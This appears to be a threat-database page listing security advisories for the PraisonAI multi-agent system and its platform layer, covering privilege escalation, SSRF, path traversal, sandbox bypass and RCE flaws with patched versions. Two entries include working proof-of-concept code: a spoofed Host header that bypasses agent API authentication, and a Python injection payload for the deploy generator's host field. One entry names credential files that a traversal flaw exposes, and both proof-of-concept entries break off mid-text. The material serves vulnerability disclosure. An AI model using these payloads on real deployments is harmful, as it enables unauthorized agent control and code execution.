Threat database

PraisonAI Platform is the platform layer for the PraisonAI multi-agent teams system. Versions prior to 0.1.4 have an authorization bypass enabling owner lockout. The `DELETE /workspaces/{workspace_id}/members/{user_id}` endpoint is gated only by `require_workspace_member(workspace_id)` (default `min_role="member"`). Any member can remove any other member, including the workspace owner, using a single DELETE. There is no caller-role check, no target-role check, no "cannot remove last owner" guard. PraisonAI Platform version 0.1.4 patches the issue.

PraisonAI Platform versions prior to 0.1.4 contain an authorization bypass vulnerability (CWE-639) in the activity log endpoint. The GET /workspaces/{workspace_id}/issues/{issue_id}/activity endpoint allows any user who is a member of any workspace to access the full activity log of issues across all workspaces, due to missing workspace constraints in the database query. This issue is fixed in version 0.1.4.

CVE-2026-47407 is a critical improper privilege management vulnerability in the PraisonAI Platform prior to version 0.1.4. The platform incorrectly authorizes users based on workspace membership in the URL prefix without verifying that the inner resource belongs to that workspace, allowing cross-tenant resource access. Additionally, member-management routes fail to enforce role hierarchy, enabling any member to escalate privileges to admin or owner, modify other members, or delete the workspace. The platform allows open registration without email verification and binds to all network interfaces by default, enabling easy unauthorized access. Version 0.1.4 patches these issues.

PraisonAI Platform is the platform layer for the PraisonAI multi-agent teams system. Versions prior to 0.1.4 have an Insecure Direct Object Reference. The dependency endpoints (`POST/GET /workspaces/{workspace_id}/issues/{issue_id}/dependencies` and `DELETE .../dependencies/{dep_id}`) gate access on `require_workspace_member(workspace_id)` only, then dispatch to `DependencyService` calls that take URL/body-supplied issue and dependency IDs without verifying any of them belong to the membership-checked workspace. Most damaging: `create_dependency` accepts `body.depends_on_issue_id` from the request body — that ID is checked against nothing — letting an attacker create a "blocks" or "related" link between any two issues anywhere in the database. PraisonAI Platform version 0.1.4 patches the issue.

PraisonAI Platform is the platform layer for the PraisonAI multi-agent teams system. Versions prior to 0.1.4 have a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`. The issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role="member"`, so routes that should be administrative are accessible to ordinary workspace members. As a result, a normal workspace member can promote their own account from `member` to `owner`; add arbitrary users as `owner` or `admin`; change other members' roles; remove legitimate owners or members; take over workspace membership completely; and/or perform destructive workspace operations after escalation. This is a broken access control / vertical privilege escalation vulnerability. PraisonAI Platform version 0.1.4 patches the issue.

CVE-2026-47399 is an improper access control vulnerability in PraisonAI Platform prior to version 0.1.4. It allows an authenticated user in one workspace to access and modify objects belonging to another workspace by using the global UUID of the victim's objects. The flaw arises because the service layer resolves objects by global ID without verifying workspace ownership, breaking workspace isolation. This affects workspace-scoped REST routes such as agents, projects, issues, and comments. The issue is patched in version 0.1.4.

PraisonAI is a multi-agent teams system. The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded in versions prior to 4.6.40. Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. Version 4.6.40 fixes the issue.

CVE-2026-47397 is a path traversal vulnerability in MervinPraison PraisonAI, a multi-agent teams system. Versions prior to 4.6.40 allow attacker-controlled content to be written to arbitrary file system paths due to improper pathname validation when the workspace parameter is None. This issue is fixed in version 4.6.40. The vulnerability has a high severity with a CVSS score of 7.1.

PraisonAI versions prior to 4.6.40 have an improper access control vulnerability in the call server's agent control API. When the environment variable CALL_SERVER_TOKEN is not set, the authentication mechanism fails open, allowing unauthenticated remote clients to control agents. This includes listing, inspecting, invoking, and unregistering agents. The call server binds to all network interfaces (0.0.0.0), increasing exposure risk. Version 4.6.40 addresses this issue.

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, PraisonAI's direct-prompt CLI automatically expands `@url:` mentions in raw prompt text before agent execution begins. If a prompt contains `@url:<http-or-https-url>`, the CLI calls `MentionsParser.process(...)`. The `@url:` handler then performs a direct `urllib.request.urlopen()` request to the attacker-controlled URL and returns the response body. That response body is prepended to the final model prompt context. There is no loopback/private-address restriction, no metadata-service restriction, and no approval gate before the fetch. As a result, attacker-influenced prompt text can cause the operator's machine to fetch localhost-only HTTP resources and inject the response into model context. PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain a fix.

PraisonAI is a multi-agent teams system. Prior to version 4.6.40, the fix for GHSA-9mqq-jqxf-grvw / CVE-2026-44336 is incomplete. The original advisory description named four vulnerable handlers in `mcp_server/adapters/cli_tools.py`. Commit `68cc9427` ("fix(security): harden MCP rules path handling…") added a `_resolve_rule_path()` helper and applied it to `rules.create`, `rules.show`, and `rules.delete`. `workflow.show` was left unchanged. Two adjacent handlers in the same file have the same pattern, `workflow.validate` and `deploy.validate`. Neither was mentioned in the original advisory. Both remained unchanged. The original advisory also identified the dispatcher (`server.py:281-298`) as a root cause. It accepts unvalidated `**kwargs` from `params["arguments"]` with no enforcement against the tool's declared `input_schema`. That code is unchanged prior to version 4.6.40. A single unauthenticated MCP `tools/call` to `praisonai.workflow.show` returns the contents of any file the host user can read: `/etc/passwd`, `~/.ssh/id_rsa`, `~/.aws/credentials`, or any project `.env`. Version 4.6.40 contains an updated fix.

CVE-2026-47393 affects MervinPraison's PraisonAI multi-agent system. The vulnerability arises because the code-generator for a Flask API server disables authentication by default, exposing critical endpoints without access control. This allows unauthenticated users to interact with the API, potentially accessing sensitive data and controlling LLM orchestration. Versions prior to 4.6.40 ship with this insecure default. The issue is fixed in version 4.6.40 by enabling authentication via configuration.

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain an updated fix.

CVE-2026-47391 is a critical remote code execution vulnerability in MervinPraison PraisonAI prior to version 4.6.40. The vulnerability arises from an unauthenticated JSON-RPC endpoint that exposes a tool using Python's eval(), allowing arbitrary code execution. This affects deployments using the official A2A example or similar unauthenticated configurations. The flaw also exposes task history and cancellation APIs, increasing confidentiality and integrity risks. Version 4.6.40 includes a patch for this issue.

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, `spider_tools` URL validation can be bypassed using alternate loopback host encodings. The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as `localhost` and `127.0.0.1`. It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request. As a result, certain URLs may bypass the protection and still reach loopback services. After the weak validation passes, `scrape_page()` calls `requests.Session.get()` on the attacker-controlled URL. This allows an attacker who can influence URLs passed to `scrape_page`, `crawl`, or `extract_text` to induce SSRF requests against loopback-only services. This is a server-side request forgery protection bypass. PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain a patch.

# Call API localhost-only authentication bypass via spoofed Host header ## Summary PraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled. ## Technical Details The affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding: ```python _LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'}) def _bind_host_from_request(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1') async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if _call_auth_disabled(): bind_host = _bind_host_from_request(request) if bind_host not in _LOCALHOST_HOSTS: raise HTTPException( status_code=503, detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding", ) return ``` The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service. The protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry. This is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata. ## PoV the PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`. ```python disabled_client = TestClient(app, base_url="http://external.example") external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) ``` Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent. The complete PoV script is in Appendix A. ## PoC Run from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`: ```bash git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed `v4.6.62` output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ``` Run the same script against current main: ```bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed current-head output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "respo

# API deploy code generator embeds unescaped YAML fields into Python source ## Summary PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled. ## Technical Details The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`. The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax: ```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ``` The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression: ```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ``` The generated startup code then becomes equivalent to: ```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ``` That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator. `agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value. ## PoV The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check. ```python from pathlib import Path import json import sys import tempfile import types import yaml def install_stubs(): class FakeApp: def __init__(self, name): self.name = name def route(self, *args, **kwargs): def deco(func): return func return deco def run(self, *args, **kwargs): return None flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors praisonai_mod = types.ModuleType("praisonai") class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file def run(self): return "ok" praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml install_stubs() with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "dem

PraisonAI (praisonaiagents) before 1.6.78 contains a remote code execution vulnerability in the plugin manager, which loads and executes arbitrary Python (.py) files from project-level and user-home .praisonai/plugins/ directories using importlib spec_from_file_location() and exec_module() without code signing, integrity verification, or sandboxing. An attacker who can write a malicious .py file to a plugin directory (for example via path traversal, a supply chain attack, or a compromised dependency) achieves arbitrary code execution when the plugin system initializes.

PraisonAI before 1.6.78 contains a remote code execution vulnerability in SkillTools.run_skill_script() that executes scripts without path containment validation. Attackers can supply absolute file paths to execute arbitrary scripts from any filesystem location, including those outside the intended working directory.

PraisonAI Platform before 0.1.9 fails to properly authorize label and issue-label mutations, allowing workspace members to rename and recolor shared labels and add or remove labels on owner-created issues. Attackers with workspace member privileges can exploit PATCH and POST/DELETE endpoints to alter shared label taxonomy and manipulate issue-label associations without owner or admin authorization.